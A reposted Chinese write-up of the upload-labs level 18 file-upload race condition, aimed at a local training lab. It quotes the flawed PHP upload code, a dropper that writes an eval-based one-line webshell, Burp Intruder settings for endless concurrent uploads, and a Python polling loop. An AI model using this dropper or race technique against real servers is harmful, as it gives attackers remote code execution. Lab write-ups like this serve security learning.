日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

upload_labs_pass18_条件竞争

發布時間:2023/12/19 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 upload_labs_pass18_条件竞争 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

pass18

第18關和前面14-17關(要求上傳圖片馬)不同,直接要求上傳一個webshell

提示:

源碼:

$is_upload = false; $msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允許上傳.jpg|.png|.gif類型文件!";unlink($upload_file);}}else{$msg = '上傳出錯!';} }

如果上傳的不是白名單中的文件,會調用unlink方法刪除文件。
這么想,貌似好像要用圖片馬,但是這關最好不要用文件包含漏洞,因為這也不是出題人的本意。

所以還是要上傳webshell

如何繞過上傳非白名單中的文件而不會被刪除呢?

這一關的解決思路就是利用 上傳成功之后移動文件到刪除文件這段時間之內連接webshell(利用時間差)

利用上面綠色區域中的時間去連接webshell。

但是還有一個問題:即使在短期之內連接上了webshell,但是很快文件又會被刪除。—》這樣連接webshell有什么意義呢?

解決:

首先上傳一個“獨特”的木馬,但是這個木馬不是一句話木馬,但是能夠產生一句話木馬,使得產生 的一句話木馬能夠不被刪除而能夠連接webshell

這個“獨特”的木馬內容如下:

<?php fputs(fopen('zyy.php','w'),'<?php @eval($_POST["zyy"])?>');?>

這個繞過的思路就是“條件競爭

如何在短期之內利用這個獨特的木馬呢?有兩種方法:

1.通過python腳本多線程并發的訪問。
2.利用burp不斷的上傳文件。

首先記錄利用burp進行繞過:

pass18-burp不斷上傳文件

首先開啟burp抓包,上傳competition.php

利用“Intruder”模塊進行反復的文件上傳。

發送到intruder:

在Position中清空,不需要payload。

在Payloads中,選擇 Null payload:

持續不斷無限地:選擇Continue indefinitely

Resource Pool:
將線程調整的大一些:

20個并發的線程

然后開始攻擊:start Attack

發現靶機的上傳目錄下不斷的有文件被刪除又被上傳:

然后我電腦的風扇開始呼呼呼的叫了,hhh

然后訪問這個competition文件所在的地址,使其產生一句話木馬文件。

某一刻是可以訪問到的:

而且幸運的話,在這個目錄下會生成一個一句話木馬文件,但是我就沒那么幸運,,,沒有生成,,,

如果你能夠生成,那么就可以連接這個一句話木馬webshell了。

pass18-python多線程-條件競爭

準備條件競爭的python代碼:

import requests url = "http://localhost:7298/upload-labs/upload/competition.php" while True:html = requests.get(url)if html.status_code == 200:print("OK")break

基本上就是這兩個思路了。

可惡,為了跑這一關,我虛擬機靶場崩了。。。

總結

以上是生活随笔為你收集整理的upload_labs_pass18_条件竞争的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。